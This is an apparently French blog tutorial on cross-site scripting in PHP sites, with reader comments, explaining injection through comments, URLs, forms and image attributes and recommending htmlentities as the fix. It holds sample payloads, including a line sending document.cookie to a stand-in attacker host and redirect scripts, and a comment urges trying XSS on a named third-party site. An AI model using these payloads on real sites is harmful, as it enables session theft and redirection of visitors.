Les failles de sécurité XSS ou Cross Site Scripting
Dernièrement, une faille de sécurité de type Cross Site Scripting, a été découverte dans une version de développement de Bilboblog (qui n'a jamais été publiée, donc personne n'est concernée). J'ai donc profité de cette occasion pour me pencher sur le fonctionnement de ces dernières et des solutions existantes pour les contrer efficacement.
1. Quelques explications
Le Cross Site Scripting, abrégé XSS (Cross voulant dire "croix" en anglais, le symbole X a été choisi pour le représenter), est un type de faille de sécurité que l'on trouve typiquement dans les applications web.
Le principe consiste à injecter du code (html, javascript ...) directement dans les pages web. Cela se fait généralement via un formulaire à remplir, en déposant un message dans un forum, dans un moteur de recherche ou directement dans l'URL d'un site, en y ajoutant quelques paramètres.
2. Exemples d'attaques simples
Notre premier exemple, sûrement l'un des plus simples, se base sur la ligne de code suivante :
<script>alert('bonjour')</script>
Imaginons que l'on trouve un site vulnérable, qui propose par exemple de laisser un commentaire aux visiteurs. On pourra copier/coller cette ligne dans la zone de saisie. Ainsi, lors de l'affichage du commentaire le site exécutera quelque chose comme cela :
<html>
<body>
....
Votre commentaire :
<p><script>alert('bonjour')</script></p>
...
</body>
</html>
On comprend donc ici, que lors du chargement de la page, les navigateurs web seront forcés d'exécuter le code injecté pour afficher une petite boite de dialogue, contenant le message "bonjour".
A partir de là, les possibilités d'injection sont nombreuses, voir infinies. Voici quelques exemples très courants :
- rediriger tous les visiteurs vers un autre site :
<script language="javascript">document.location.href="http://site-du-hacker.com/"</script>
- afficher un contenu souhaité par le hacker (message, pubs ...) :
<script>document.write('ma pub')</script>
voler des informations aux visiteurs (cookies, sessions ...) :
<script>window.open('http://site-du-hacker.com/recupcookie.php?val='+document.cookie");</script>
3. Les attaques par URLs
Bien sûr d'autres techniques d'attaques existent. Il est par exemple possible d'injecter du code directement dans les paramètres d'une URL.
Prenons le code php suivant :
<?php
...
echo "Bienvenue ".$_GET['pseudo'];
...
?>
Une utilisation normale de l'url sera la suivante :
http://monsite.fr/?pseudo=pti-seb
Tandis qu'un utilisateur mal intentionné pourra utiliser :
http://monsite.fr/?pseudo=<script>alert("hacked by pti-seb");</script>
4. Les attaque de formulaires
Les formulaires html ne sont pas à l'abri non plus, lorsque l'on oublie de vérifier le contenu des champs envoyés par les utilisateurs.
Imaginons un moteur de recherche programmé comme celui-ci :
<form method="post" action="resultat.php">
Chercher : <input type="text" name="valeur" />
<input type="submit" value="Chercher" />
</form>
Un hacker pourra choisir de déporter ce formulaire en local, en prenant soin de modifier le champ "action" et d'y injecter le code voulu :
<form method="post" action="http://monsite.fr/resultat.php">
Chercher : <input type="text" name="valeur" value="<script>alert('hacked by pti-seb')</script>" />
<input type="submit" value="Chercher" />
</form>
Si les valeurs envoyées sont mal protégées, le moteur de recherche affichera ce message :
Aucun résultat trouvé pour "<script>alert('hacked by pti-seb')</script>"
5. Les solutions
Une première solution pour contrer ces attaques, serait tout simplement d'interdire l'utilisation de la balise html <script>. Mais cela n'est pas suffisant, car on peut contourner facilement la protection en utilisant d'autres balises html, comme la balise iframe :
<iframe src="http://site-du-hacker.com"></iframe>
Il est donc plus prudent d'interdire toute utilisation de balises html. La fonction Php strip_tags() permet de faire cela et peut aller plus loin en autorisant seulement certaines balises. On pourra aussi utiliser une fonction similaire à celle-ci, qui s'occupe de neutraliser toutes les balises html :
function antiXss($chaine) {
$chaine = str_replace("<", "", $chaine);
return str_replace(">", "", $chaine);
}
Mais là encore, cette méthode est insuffisante face aux exploits n'utilisant aucune balise. Pour mieux comprendre, regardons ce code, qui ne possède aucune protection :
<?php
...
echo 'Votre image : <img src="'.$_GET['filename'].'" />';
...
?>
Une utilisation normale sera :
http://monsite.fr/?filename=/public/images/photos/informatique/windows/vista.jpg
Ce qui donnera en php :
echo 'Votre image : <img src="/public/images/photos/informatique/windows/vista.jpg" />';
Tandis qu'une utilisation mal intentionnée pourra être :
http://monsite.fr/?filename="onerror="alert('hacked by pti-seb')"a=".jpg
Ce qui donnera en php :
echo 'Votre image : <img src=""onerror="alert('hacked by pti-seb')"a=".jpg" />';
La source de l'image n'existant pas, le navigateur exécutera l'événement javascript onError.
La solution pour contrer tous ces exploits reste sans doute l'utilisation de la fonction Php htmlentities. En plus de neutraliser les balises, elle est capable de convertir les guillemets simples et doubles en code html et de détecter l'utilisation d'encodages différents. Voici un exemple :
function antiXss($chaine) {
return htmlentities($chaine, ENT_QUOTES);
}
6. Conclusion
Ils existent bien sûr une multitude de techniques d'injection de code qui n'ont pas été vues ici. Lors d'un développement web, à chaque fois que l'internaute pourra saisir une donnée dans un formulaire ou autre, la question du XSS se posera systématiquement.
Il faudra donc de tester soigneusement chaque zone de saisie ou chaque paramètre d'URL afin de sécuriser au mieux son site web.
13 Commentaires pour "Les failles de sécurité XSS ou Cross Site Scripting"
Flux des commentaires de cet article Ajouter un commentaire<script language="javascript">document.location.href="site-du-hacker.com/"...
@Jean-mich : bien tenté, mais le code de dotclear est plutôt bien conçu.
Sympa l'article, merci
Seb, qu'est ce qui s'est passé hier sur ton blog? Quand j'ai voulu me connecter j'étais redirigé sur un autre site. J'ai essayé plusieurs fois.
@NimaX : la c'est autre chose même si l'attaque reste dans le même style.
En faite, j'utilise de temps en temps blogbang, une regie de pub pour bloggeurs. Son utilisation se résume à l'installation d'un script javascript sur le blog.
Le truc c'est que des hackers on réussit à pirater le DNS de blogbang.com, redirigant ainsi les requêtes vers leur propre serveur pour forcé l'utilisation de leur propre script javascript.
Au lieu d'afficher des pubs, le script à du afficher ce genre de code : document.location.href="site-du-hacker.com/"
Tous les blogs qui utilisent cette régie de pub ont été impactés. Le pire c'est que sur leur site ils n'en parlent pas pour l'instant, j'ai l'impression qu'ils veulent la jouer super discret sur cette affaire.
Article très intéressant.
Pour moi c'est la menace de l'année 2008 ! Ca devient de plus en plus critique avec le développement d'applications automatisées qui fouillent sans cesse le web à la recherche de failles.
Bonjour,
Bravo, ton theme du Cross Site Scripting,
et puisque tu parlais de blogbang, se site est bourré de se type
faille quand tu post un script dans leur formulaire.
à l'affichage le script se lance.
ils ont fait d'énormes erreurs de débutant toutes les transactions du site
en y incluant la suppréssion d'un compte sont visible, en plus cela est en GET
cela permet de connaitre qu'elles sont les variables connu par le site pour lançer une action.
une fois logué, une session utilisateur se créer et à se mmonent on peut faire du Cross Site Scripting.
sans probleme, inséré un POST dans le formulaire par exemple: <script>alert("TOTO");</script>
Essayez cela fonctionne.
Très intéressant... enfin un article qui permet au néophyte de comprendre simplement le problème.
Reste plus qu'à comprendre la solution pour régler mon problème. Mais "heureux", si ça se peut, de voir que c'est selon Pixman, le problème de l'année... N'étant pas seul à avoir le problème, on peut espérer qu'il y aura diverses solutions...
Merci
Bonjour j'utilise joomla 1.5.9 ( avec un forum, livre d'or, inscription,contactez-nous) Alor plein d'endroit ou injecter ... et j'etait hacker hier ... dans quel niveau je doit injecter ce script svp " function antiXss($chaine) {
return htmlentities($chaine, ENT_QUOTES);
} "
Merci
Très intéressant.
@jean-mich : alert('nope')
alert(0)
ah mince xD
@moi : alert('nope')